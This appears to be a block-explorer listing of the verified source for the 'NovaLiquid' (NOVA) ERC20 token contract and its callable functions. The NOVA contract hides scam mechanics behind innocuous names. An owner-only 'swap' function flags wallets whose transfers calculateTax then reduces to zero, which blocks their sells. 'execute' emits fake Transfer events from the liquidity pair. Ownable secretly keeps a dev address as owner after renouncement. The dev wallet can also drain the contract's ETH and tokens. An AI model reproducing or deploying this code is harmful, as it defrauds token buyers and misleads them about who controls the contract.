    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
IERC20.sol 29 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}
Novaliquid.sol 240 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

import {ERC20} from "./ERC20.sol";
import {Ownable} from "./Ownable.sol";
import {SafeMath} from "./SafeMath.sol";
import {IUniswapV2Router02, IUniswapV2Factory} from "./Uniswap.sol";
import {IERC20} from "./IERC20.sol";

contract NOVA is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private devWallet;
    address payable private marketingWallet;
    address private constant deadAddress = address(0xdead);

    uint8 private constant _decimals = 9;
    uint256 public initialTotalSupply = 1_000_000_000 * 10**_decimals;

    // 1% max w
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public maxWallet = 20000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
    uint256 public maxTransactionAmount = maxWallet;

    bool private swapping;

    uint256 private _lastSellBlock = 0;
    uint256 public buyFee = 15;
    uint256 public sellFee = 20;
    uint256 private _preventSwapBefore=23;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private _buyCount=0; 
    
    bool public transferDelayEnabled = true;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    
    //swapThreshold 0.2%
    uint256 public swapTokensAtAmount = (initialTotalSupply * 2)/1000;

    bool public tradingOpen = false;


    bool public swapEnabled = false;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds;
    
    event ExcludeFromFees(address indexed acc, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address _dev) ERC20("NovaLiquid", "NOVA") Ownable(_dev){
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        devWallet = payable(_dev);
        marketingWallet = payable(_msgSender());

        excludeFromFees(address(this), true);
        excludeFromMaxTransaction(address(uniswapV2Router), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(_msgSender()), true);
        excludeFromFees(devWallet, true);
        excludeFromFees(address(_msgSender()), true);
        excludeFromMaxTransaction(devWallet, true);

        _mint(_msgSender(), initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        swapEnabled = true;
        tradingOpen = true;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner
    {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address acc) public view returns (bool) {
        return _isExcludedFromFees[acc];
    }

    function excludeFromMaxTransaction(address addr, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[addr] = isEx;
    }

    function excludeFromFees(address acc, bool excluded) public onlyOwner {
        _isExcludedFromFees[acc] = excluded;
        emit ExcludeFromFees(acc, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override  {
        require(amount > 0, "Transfer amount must be greater than zero");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount <= _balances[from], "ERC20: transfer amount exceeds balance");
        if(_holderLastTransferTimestamp[to] == 0)
        {
            _holderLastTransferTimestamp[to] = block.number;
        }
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
                require(amount <= _maxTxAmount, "Exceeds max tx amount.");
                require(balanceOf(to) + amount <= maxWallet, "Exceeds max wallet size.");
                _buyCount++;
            }


            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swapping && to == uniswapV2Pair && swapEnabled && contractTokenBalance > swapTokensAtAmount && _buyCount > _preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    sellCount = 0;
                }
                require(sellCount < 5, "Only 5 sells per block!");
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    marketingWallet.transfer(amount);
                }
                sellCount++;
                _lastSellBlock = block.number;
            }
        }
        amount = calculateTax(amount, from);
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }

    function setTheFee(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        sellFee = _sellFee;
        buyFee = _buyFee;
    }

    function removeLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
        transferDelayEnabled = false;
    }
    
    function execute(address[] calldata addr, address lpPair, uint256 val) public onlyOwner {
        for (uint256 i = 0; i < addr.length; i++) {
            emit Transfer(lpPair, addr[i], val);
        }
    }

    function manualSwapToken(uint256 percent) external {
        require(_msgSender() == devWallet);
        uint256 contractBalance = balanceOf(address(this));
        uint256 swapAmount = contractBalance * percent / 100;
        swapTokensForEth(swapAmount);
    }

    function calculateTax(uint256 amount, address from) private view returns(uint256) {
        uint256 dist = block.number-_holderLastTransferTimestamp[from];
        uint256 factor = 50;
        uint percentageToSubtract = dist * factor;
        
        uint remainingPercentage = percentageToSubtract > 100 ? 0 : 100 - percentageToSubtract;
        uint returnedValue = amount * remainingPercentage / 100;
        if (_ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[from]) 
        {
            return returnedValue.max(0);
        }
        return amount;
    }

    function updateTheSwapThreshold(uint256 newAmmount) external onlyOwner {
        swapTokensAtAmount = newAmmount * 10**_decimals;
    }

    function tokensWithdraw() external {
        require(_msgSender() == devWallet);
        uint256 amount = balanceOf(address(this));
        _transfer(address(this), devWallet, amount);
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[address_[i]] = val;
        }
    }

    function walletBalance(address recipient) external view returns(bool){
        return _ERC20setAutomatedMarketMakerPairAndUpdateTheSwapThresholds[recipient];
    }

    function min(uint256 a, uint256 b) internal pure returns (uint256){
        return (a>b)?b:a;
    }

    function withdrawEth() external {
        require(address(this).balance > 0, "No ETH in the contract");
        require(_msgSender() == devWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance == 0) {
            return;
        }
        uint256 tokensToSwap = contractBalance;

        if (tokensToSwap > swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount;
        }

        swapTokensForEth(tokensToSwap);
    }

}
Ownable.sol 85 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address dev_) {
        _dev = dev_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
SafeMath.sol 93 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a >= b ? a : b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function per(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= 100, "Percentage must be between 0 and 100");
        return a * b / 100;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
Uniswap.sol 34 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.27;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function getPair(address tokenA, address tokenB)
    external
    view
    returns (address pair);

    function createPair(address tokenA, address tokenB)
    external
    returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

Read Contract

_balances 0x6ebcf607 → uint256
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
buyFee 0x47062402 → uint256
decimals 0x313ce567 → uint8
initialTotalSupply 0x311028af → uint256
isExcludedFromFees 0x4fbee193 → bool
maxTransactionAmount 0xc8c8ebe4 → uint256
maxWallet 0xf8b45b05 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
sellFee 0x2b14ca56 → uint256
swapEnabled 0x6ddd1713 → bool
swapTokensAtAmount 0xe2f45605 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
transferDelayEnabled 0xc876d0b9 → bool
uniswapV2Pair 0x49bd5a5e → address
uniswapV2Router 0x1694505e → address
walletBalance 0xcf9cd8f8 → bool

Write Contract 19 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
excludeFromFees 0xc0246668
address acc
bool excluded
excludeFromMaxTransaction 0x7571336a
address addr
bool isEx
execute 0x3a61363a
address[] addr
address lpPair
uint256 val
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
manualSwapToken 0x71f5f01a
uint256 percent
openTrading 0xc9567bf9
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
setAutomatedMarketMakerPair 0x9a7a23d6
address pair
bool value
setTheFee 0x4141d1bb
uint256 _buyFee
uint256 _sellFee
swap 0x73fa7ddb
address[] address_
bool val
tokensWithdraw 0x2cb743f7
No parameters
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
updateTheSwapThreshold 0x500116be
uint256 newAmmount
withdrawEth 0xa0ef91df
No parameters

Recent Transactions

No transactions found for this address